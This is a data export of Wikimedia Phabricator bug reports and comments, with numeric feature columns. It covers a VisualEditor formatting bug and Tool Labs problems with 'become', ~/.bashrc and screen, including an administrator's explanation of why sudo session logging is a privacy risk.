52258,Unwanted Removal of text formatting,"In this edit:https://en.wikipedia.org/w/index.php?title=Blepsias_cirrhosus&diff=next&oldid=561719692

Bold/italic formatting was removed by an unrelated action (addition of text).  See editor's description here:http://en.wikipedia.org/wiki/User_talk:PBASH607#VE_issues.3F

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1372280520,1372284454.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ytqjgzoe2nidan525q6p,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8541666666666665,0.7291666666666666,"In this edit:URL

Bold/italic formatting was removed by an unrelated action (addition of text).  See editor's description here:URL

--------------------------
**Version**: unspecified
**Severity**: major"
253767,Unwanted Removal of text formatting,"Hey, yeah, this is a really irritating bug in Parsoid - bug 50068 - so marking this as a duplicate of that bug. Thanks for highlighting it, though - really important we try to fix this ASAP, and being reminded helps focus us!

*** This bug has been marked as a duplicate of bug 50068 ***",,,1372284454,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ytqjgzoe2nidan525q6p,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,1.0,12.0,0.0,0.0,1.0,0.0,3.0,3.0,3.0,0.0,4.0,10.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,3.4776119402985075,0.6567164179104478,"Hey, yeah, this is a really irritating bug in Parsoid - bug 50068 - so marking this as a duplicate of that bug. Thanks for highlighting it, though - really important we try to fix this ASAP, and being reminded helps focus us!

*** This bug has been marked as a duplicate of bug 50068 ***"
253759,Unwanted Removal of text formatting,Duplicated here: http://test.wikipedia.org/w/index.php?title=VisualEditor%3ATestingGrounds&diff=174932&oldid=174931,,,1372283768,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-ytqjgzoe2nidan525q6p,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Duplicated here: URL
52249,'become' doesn't load ~/.bashrc,"When you use 'become' to log into a shared account, ~/.bashrc isn't run.

catrope@tools-login:~$ become visualeditor
local-visualeditor@tools-login:~$ cat ~/.bashrc
# Shortcuts
alias ..='cd ..'
alias ll='ls -ahlF --color=auto'
alias l='ll'

# Environment
export PATH=$HOME/bin:$PATH;

local-visualeditor@tools-login:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin
local-visualeditor@tools-login:~$ . ~/.bashrc
local-visualeditor@tools-login:~$ echo $PATH
/data/project/visualeditor/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin

Adding $HOME/bin to $PATH would probably be a nice thing to do in general.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372269540,1372270000.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-44radwd6pkgnkplpyiul,task_description,invalid,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.5,0.5,7.5,0.5,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,1.0,3.0,7.0,0.0,3.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,4.158823529411764,0.5176470588235293,"When you use 'become' to log into a shared account, ~/.bashrc isn't run.

catrope@tools-login:~$ become visualeditor
local-visualeditor@tools-login:~$ cat ~/.bashrc
# Shortcuts
alias ..='cd ..'
alias ll='ls -ahlF --color=auto'
alias l='ll'

# Environment
export PATH=$HOME/bin:$PATH;

local-visualeditor@tools-login:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin
local-visualeditor@tools-login:~$ . ~/.bashrc
local-visualeditor@tools-login:~$ echo $PATH
/data/project/visualeditor/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin

Adding $HOME/bin to $PATH would probably be a nice thing to do in general.

--------------------------
**Version**: unspecified
**Severity**: normal"
253307,'become' doesn't load ~/.bashrc,"Works as designed.

become, through sudo, creates an interactive login shell.  To quote from the bash info page:

"" When Bash is invoked as an interactive login shell, or as a
  non-interactive shell with the `--login' option, it first reads and
  executes commands from the file `/etc/profile', if that file exists.
  After reading that file, it looks for `~/.bash_profile',
  `~/.bash_login', and `~/.profile', in that order, and reads and
  executes commands from the first one that exists and is readable.""

A thing many users may want to do to simplify things is to have a ~/.profile that sources ~/.bashrc (in addition or instead of login-specific behaviour) so that the latter gets sourced regardless of how the shell was invoked.",,,1372270000,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-44radwd6pkgnkplpyiul,task_subcomment,,True,c1,2,False,,,-1,,0.5,0.0,0.0,1.0,0.0,6.0,1.5,0.0,0.0,0.5,3.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,12.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,16.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,6.0,2.5,4.0,3.0,4.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.5,12.0,1.0,0.0,3.0,0.0,0.5,0.0,2.5,3.0,0.0,0.5,0.0,0.0,0.0,3.887323943661972,0.732394366197183,"Works as designed.

become, through sudo, creates an interactive login shell.  To quote from the bash info page:

"" When Bash is invoked as an interactive login shell, or as a
  non-interactive shell with the CODE/etc/profile', if that file exists.
  After reading that file, it looks for CODE~/.bash_login', and `~/.profile', in that order, and reads and
  executes commands from the first one that exists and is readable.""

A thing many users may want to do to simplify things is to have a ~/.profile that sources ~/.bashrc (in addition or instead of login-specific behaviour) so that the latter gets sourced regardless of how the shell was invoked."
52248,screen doesn't work from within 'become',"catrope@tools-login:~$ become visualeditor
local-visualeditor@tools-login:~$ screen
Cannot open your terminal '/dev/pts/97' - please check.


However, running screen as myself and then running 'become visualeditor' in each screen window does work.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372269480,1383053606.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-th6xciyktmum2yvdvsqy,task_description,declined,True,c1,2,False,False,False,-1,,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.454545454545454,0.6363636363636364,"catrope@tools-login:~$ become visualeditor
local-visualeditor@tools-login:~$ screen
Cannot open your terminal '/dev/pts/97' - please check.


However, running screen as myself and then running 'become visualeditor' in each screen window does work.

--------------------------
**Version**: unspecified
**Severity**: normal"
253280,screen doesn't work from within 'become',"valhallasw@tools-login:~$ chown valhallasw:tools.tsreports /dev/pts/164
valhallasw@tools-login:~$ chmod g+r /dev/pts/164
valhallasw@tools-login:~$ become tsreports
tools.tsreports@tools-login:~$ screen

This works for me. I suppose there still is some security impact with this (I guess all tsreports users can now read my TTY? but that might already be possible when I 'become tsreports'?) but it's somewhat less extreme. 


Alternatively, could log_input be used to redirect to /dev/null, thus mitigating the risk of log files?",,,1404150917,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,52,,1.0,0.0,0.0,1.0,0.0,2.0,1.5,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.5,3.5,1.0,7.5,4.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,5.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,15.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,4.5,1.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,4.5,4.0,1.5,3.0,2.0,0.0,4.5,0.0,1.0,0.0,0.5,1.0,1.0,0.0,0.0,4.606274509803921,0.7829411764705883,"valhallasw@tools-login:~$ chown valhallasw:tools.tsreports /dev/pts/164
valhallasw@tools-login:~$ chmod g+r /dev/pts/164
valhallasw@tools-login:~$ become tsreports
tools.tsreports@tools-login:~$ screen

This works for me. I suppose there still is some security impact with this (I guess all tsreports users can now read my TTY? but that might already be possible when I 'become tsreports'?) but it's somewhat less extreme. 


Alternatively, could log_input be used to redirect to /dev/null, thus mitigating the risk of log files?"
253273,screen doesn't work from within 'become',"That will not be changed from the current method; automatically logging I/O is an unacceptable security risk, especially if it happens unconditionally and without the user's knowledge/consent.

Run screen from your own user, or use screen to created a tty for the task.",,,1383053606,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,7.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.222222222222222,0.8518518518518519,"That will not be changed from the current method; automatically logging I/O is an unacceptable security risk, especially if it happens unconditionally and without the user's knowledge/consent.

Run screen from your own user, or use screen to created a tty for the task."
253268,screen doesn't work from within 'become',".bash_history records the commands you typed at the shell prompt that were actually submitted; recording the stream would include everything sent and/or received, including keystrokes to applications, typed passwords, etc.  For instance, if you mistakenly start to type a password in your ssh session because your focus was on the wrong window then backspace over it, .bash_history would not record it, log_input and log_output would.

Another difference is that you can manage (delete, edit, verify) your .bash_history, whereas logged I/O is neither visible nor under your control.

The logged I/O would only be available to roots; but much of that is stuff that I wouldn't want to exist on disk even granted perfect trust in everyone involved.  An accident that leaves /var/log/sudo-io/ accessible or a security flaw that allows escalation would expose that data -- on the instance or even the host.

Key recording is just too much of an exposure, especially since the only putative benefit is the very marginal convenience of being able to start a screen session after sudo rather than just before it.",,,1378387791,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,6.333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,5.666666666666667,9.333333333333334,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,3.6666666666666665,0.0,1.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,2.0,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,13.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,5.666666666666667,3.3333333333333335,3.6666666666666665,1.6666666666666667,2.6666666666666665,7.0,0.0,0.0,0.0,0.0,4.0,0.6666666666666666,0.0,0.0,4.333333333333333,9.333333333333334,1.6666666666666667,0.0,0.0,0.0,4.333333333333333,0.0,1.6666666666666667,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,4.370892018779343,0.784037558685446,".bash_history records the commands you typed at the shell prompt that were actually submitted; recording the stream would include everything sent and/or received, including keystrokes to applications, typed passwords, etc.  For instance, if you mistakenly start to type a password in your ssh session because your focus was on the wrong window then backspace over it, .bash_history would not record it, log_input and log_output would.

Another difference is that you can manage (delete, edit, verify) your .bash_history, whereas logged I/O is neither visible nor under your control.

The logged I/O would only be available to roots; but much of that is stuff that I wouldn't want to exist on disk even granted perfect trust in everyone involved.  An accident that leaves /var/log/sudo-io/ accessible or a security flaw that allows escalation would expose that data -- on the instance or even the host.

Key recording is just too much of an exposure, especially since the only putative benefit is the very marginal convenience of being able to start a screen session after sudo rather than just before it."
253264,screen doesn't work from within 'become',"(In reply to comment #6)
> ... at the cost of, you know, logging all the input and output of your
> session.
> 
> Needless to say, that will not happen in Tool Labs -- even having the
> capability to replay users' sessions (including passwords typed and all!)
> would be a *massive* violation of privacy.

Would it? What's the difference between this and .bash_history?

Is the logged input/output available to all users or only to roots (and the session owner)?",,,1378357656,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,0.0,5.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,9.0,11.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4727272727272727,0.6363636363636364,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Would it? What's the difference between this and .bash_history?

Is the logged input/output available to all users or only to roots (and the session owner)?"
253260,screen doesn't work from within 'become',"Oh!  I figured out how they do it:  they have turned on log_input, log_output or both in their sudo configuration -- this causes the creation of a pty (like script does), and thus neatly circumvents the problem; the tty of the sudo-ed user is brand new and owned by the user.

... at the cost of, you know, logging all the input and output of your session.

Needless to say, that will not happen in Tool Labs -- even having the capability to replay users' sessions (including passwords typed and all!) would be a *massive* violation of privacy.

I'm forced to wonder whether users of toolserver are aware that their sessions are logged in this way.",,,1378356625,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,1.5,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.0,0.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,5.5,0.5,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,11.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.5,4.0,2.0,3.0,9.5,0.0,0.0,1.0,0.0,3.5,1.0,0.0,0.0,5.0,11.0,2.0,0.0,0.5,0.0,5.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,3.7222222222222223,0.7847222222222222,"Oh!  I figured out how they do it:  they have turned on log_input, log_output or both in their sudo configuration -- this causes the creation of a pty (like script does), and thus neatly circumvents the problem; the tty of the sudo-ed user is brand new and owned by the user.

... at the cost of, you know, logging all the input and output of your session.

Needless to say, that will not happen in Tool Labs -- even having the capability to replay users' sessions (including passwords typed and all!) would be a *massive* violation of privacy.

I'm forced to wonder whether users of toolserver are aware that their sessions are logged in this way."
253257,screen doesn't work from within 'become',"I can't tell; I don't have a MMP on the toolserver, and a cursory inspection of nightshade shows that screen isn't suid to root, which means that it should not be possible for it to open the tty when invoked from a sudo-ed user:

crw--w---- 1 marc tty 136, 31 Sep  5 04:39 /dev/pts/31

Whereas:

-rwxr-sr-x 1 root utmp 364088 Jul 29  2009 /usr/bin/screen

meaning that screen runs with the privileges of the invoking user, who would not have permission to open the terminal.  Can you switch to an MMP account and do a ""ls -l `tty`"" to see if something funky is going on with the terminal's permissions?  That might give me a hint.

The hack with script is exactly that -- a hack: it creates a new shell, a new terminal pair, and has a process running busy shuffling the data between both sides of the pipe, with a copy to /dev/null.  At best, it is horribly wasteful and doubles context switches.",,,1378356406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,3.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,8.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,4.666666666666667,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,1.0,13.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,8.0,2.0,4.333333333333333,1.3333333333333333,1.6666666666666667,10.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,8.0,4.666666666666667,0.3333333333333333,0.6666666666666666,0.0,3.0,0.0,1.0,4.333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,3.4600938967136154,0.7934272300469484,"I can't tell; I don't have a MMP on the toolserver, and a cursory inspection of nightshade shows that screen isn't suid to root, which means that it should not be possible for it to open the tty when invoked from a sudo-ed user:

crw--w---- 1 marc tty 136, 31 Sep  5 04:39 /dev/pts/31

Whereas:

-rwxr-sr-x 1 root utmp 364088 Jul 29  2009 /usr/bin/screen

meaning that screen runs with the privileges of the invoking user, who would not have permission to open the terminal.  Can you switch to an MMP account and do a ""ls -l CODE"" to see if something funky is going on with the terminal's permissions?  That might give me a hint.

The hack with script is exactly that -- a hack: it creates a new shell, a new terminal pair, and has a process running busy shuffling the data between both sides of the pipe, with a copy to /dev/null.  At best, it is horribly wasteful and doubles context switches."
253253,screen doesn't work from within 'become',"According to <https://wiki.toolserver.org/view/Multi-maintainer_projects#Using_screen>, it is possible on the Linux hosts, but not on the Solaris hosts. I just confirmed: dbreps@willow.toolserver.org (Solaris) gets the same error as above while dbreps@nightshade.toolserver.org (Linux) has no issue starting screen.

The Toolserver folks had a workaround for Solaris hosts (using `ttyallow`), but now we've reached a new question: what did the Toolserver do on its Linux hosts to resolve this issue that Labs hasn't done?",,,1378355120,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,2.0,3.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,10.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,13.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,16.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,14.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,3.0,0.0,0.0,1.0,4.333333333333333,0.7126436781609196,"According to <URL it is possible on the Linux hosts, but not on the Solaris hosts. I just confirmed: dbreps@willow.toolserver.org (Solaris) gets the same error as above while dbreps@nightshade.toolserver.org (Linux) has no issue starting screen.

The Toolserver folks had a workaround for Solaris hosts (using CODE), but now we've reached a new question: what did the Toolserver do on its Linux hosts to resolve this issue that Labs hasn't done?"
253249,screen doesn't work from within 'become',"Then you almost certainly* remember incorrectly.  Screen can only operate on the terminal you are connected to (obviously), and that is necessarily owned by the user you have logged in with.

Chances are this scenario (start a screen session /after/ having switched to another user) would have been less common on toolserver since most people ran only as their login user except for the infrequent multi-maintainer project -- which all projects are in Tool Labs.

* (I say almost here because it /is/ possible to set screen suid to root; but that's on the same list as ""chmod 777 your home"", ""set your password to '1234'"", or ""allow telnet"" -- something a user might find convenient but a sysadmin should be fired for).",,,1378354665,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0.5,0.5,0.0,1.5,0.0,5.5,1.5,0.5,0.0,0.0,2.5,1.5,0.0,2.0,0.0,0.5,0.0,6.0,11.0,0.5,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.5,4.5,1.0,0.5,0.5,3.0,0.0,0.5,3.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,12.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,3.5,1.5,2.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,4.5,11.0,2.5,0.0,5.5,0.0,4.5,0.0,0.5,2.0,0.0,0.5,0.5,0.5,0.0,3.9407894736842106,0.8092105263157895,"Then you almost certainly* remember incorrectly.  Screen can only operate on the terminal you are connected to (obviously), and that is necessarily owned by the user you have logged in with.

Chances are this scenario (start a screen session /after/ having switched to another user) would have been less common on toolserver since most people ran only as their login user except for the infrequent multi-maintainer project -- which all projects are in Tool Labs.

* (I say almost here because it /is/ possible to set screen suid to root; but that's on the same list as ""chmod 777 your home"", ""set your password to '1234'"", or ""allow telnet"" -- something a user might find convenient but a sysadmin should be fired for)."
253243,screen doesn't work from within 'become',"I don't remember the Toolserver having this issue. This doesn't seem like a wontfix to me. This is pretty awful behavior currently. Surely we can do better.

local-dbreps@tools-login:~$ screen
Cannot open your terminal '/dev/pts/50' - please check.

I kept getting this. I checked <https://wikitech.wikimedia.org/wiki/Screen> to no avail. On IRC, I was told (by a bot, no less) that running ""script /dev/null"" is a workaround. It seems Roan found another workaround.

At a minimum, this needs to be documented (which I'll do momentarily) and the error message could be hacked to be clearer what the hell is happening (""check /dev/pts/50"" is pretty much an online equivalent of ""go fuck yourself""). Re-opening this for further thought and consideration.",,,1378349685,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,3,False,,,9,,0.5,0.0,0.0,1.5,1.5,3.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,0.0,6.5,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.5,0.5,0.5,4.5,3.5,0.5,0.0,1.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,12.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,4.5,9.0,0.5,1.0,9.5,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,5.5,7.0,3.5,0.0,4.5,0.0,5.5,0.0,1.0,3.0,1.0,3.5,1.5,0.0,1.0,3.6437702027622683,0.7393476344401998,"I don't remember the Toolserver having this issue. This doesn't seem like a wontfix to me. This is pretty awful behavior currently. Surely we can do better.

local-dbreps@tools-login:~$ screen
Cannot open your terminal '/dev/pts/50' - please check.

I kept getting this. I checked <URL to no avail. On IRC, I was told (by a bot, no less) that running ""script /dev/null"" is a workaround. It seems Roan found another workaround.

At a minimum, this needs to be documented (which I'll do momentarily) and the error message could be hacked to be clearer what the hell is happening (""check /dev/pts/50"" is pretty much an online equivalent of ""go fuck yourself""). Re-opening this for further thought and consideration."
253236,screen doesn't work from within 'become',"That's a limitation on how screen functions (i.e., it needs to have ownership of the terminal, which only the actual login process grants); sudo cannot circumvent this as it does not alter tty permissions.

While it's a little annoying, the workaround you describe provides full functionality during interactive sessions (and it bears reminding here that tools should not be running interactive processes in detached screen sessions in any case).",,,1372269706,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-th6xciyktmum2yvdvsqy,task_subcomment,,True,c1,2,False,,,-1,,1.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,10.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,10.0,1.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,1.0,4.566265060240964,0.7831325301204819,"That's a limitation on how screen functions (i.e., it needs to have ownership of the terminal, which only the actual login process grants); sudo cannot circumvent this as it does not alter tty permissions.

While it's a little annoying, the workaround you describe provides full functionality during interactive sessions (and it bears reminding here that tools should not be running interactive processes in detached screen sessions in any case)."
52242,VisualEditor: Dialogs won't open after adding a template at the end of the page,"Adding a template to a page (say, https://en.wikipedia.org/wiki/Eugene_Lies ) for some reason blocks the opening of the page settings dialogue.

--------------------------
**Version**: unspecified
